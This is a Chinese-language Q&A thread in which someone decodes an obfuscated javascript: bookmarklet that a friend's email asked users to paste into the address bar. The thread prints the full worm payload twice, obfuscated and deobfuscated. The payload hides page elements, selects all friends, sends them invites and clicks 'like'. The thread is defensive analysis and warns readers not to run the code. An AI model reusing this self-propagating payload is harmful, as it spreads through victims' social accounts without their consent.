好吧,一个恰好是我的好朋友的人最近给我发了一些奇怪的电子邮件,其中一封是一个页面链接,要求您将其复制并粘贴到浏览器的地址栏中,然后执行它......
javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})();
当涉及到低级编程时,我不完全同意,我很好奇这封电子邮件在这里问什么......
请不要运行此代码,除非您确信它不会破坏任何内容。
但是...有人能告诉我它有什么作用吗?
我还没有完全解码代码,但这里有一些提示。
变量
_0xc100
定义了一个字符串数组。字符被编码为十六进制,因此更难以阅读。例如,\x76 等于“v”。
您可以安全地
alert(_0xc100);
以纯文本形式查看它。
var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79",
"\x73\x74\x79\x6C\x65",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x68\x69\x64\x64\x65\x6E",
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x76\x61\x6C\x75\x65",
"\x63\x6C\x69\x63\x6B",
"\x73\x75\x67\x67\x65\x73\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
"\x6C\x69\x6B\x65\x6D\x65"];
转换为包含这些关键字的数组
visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all,
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme
现在,以下语句(不执行那些)使用这些关键字来实际执行函数。
例如:
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
相当于(
d
定义为document
,mw
定义在顶部)
document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden";
隐藏了一个名为
app125879300771588_mwrapper
的元素
以下说明给出
document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value;
将
app125879300771588_jop
的内容复制到 app125879300771588_jode
和
document.getElementById("suggest").click();
我猜点击了一些“建议”按钮。
最后设置了3个setTimeout函数,5秒后执行3条命令(即5000)
他们翻译成
setTimeout(function () {
select_all();
}, 5000);
我认为选择了你所有的朋友......
setTimeout(function ()
{
SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
}, 5000);
...向他们发送邀请
setTimeout(function ()
{
document.getElementById("likeme").click();
document.getElementById("app125879300771588_ifo").innerHTML =
document.getElementById("app125879300771588_ifc").value;
}, 5000);
...并按下“赞”按钮
请注意,我不使用 Facebook,我不知道它的来龙去脉,但我想很明显这段代码是恶意的。
a = 'app125879300771588_jop';
b = 'app125879300771588_jode';
ifc = 'app125879300771588_ifc';
ifo = 'app125879300771588_ifo';
mw = 'app125879300771588_mwrapper';
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"];
d = document;
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]];
d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();
setTimeout(function () {
fs[_0xc100[8]]();
}, 5000);
setTimeout(function () {
SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]);
}, 5000);
setTimeout(function () {
d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();
d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]];
}, 5000);
这很可能是许多 Facebook 蠕虫病毒之一的改编版,它将自身发送给您所有的朋友。
查看这里类似的问题。
此版本的其他版本使用 p.a.c.k.e.r 进行混淆,并且可以通过通过 http://jsbeautifier.org/
运行 p.a.c.k.e.r 代码来轻松反混淆。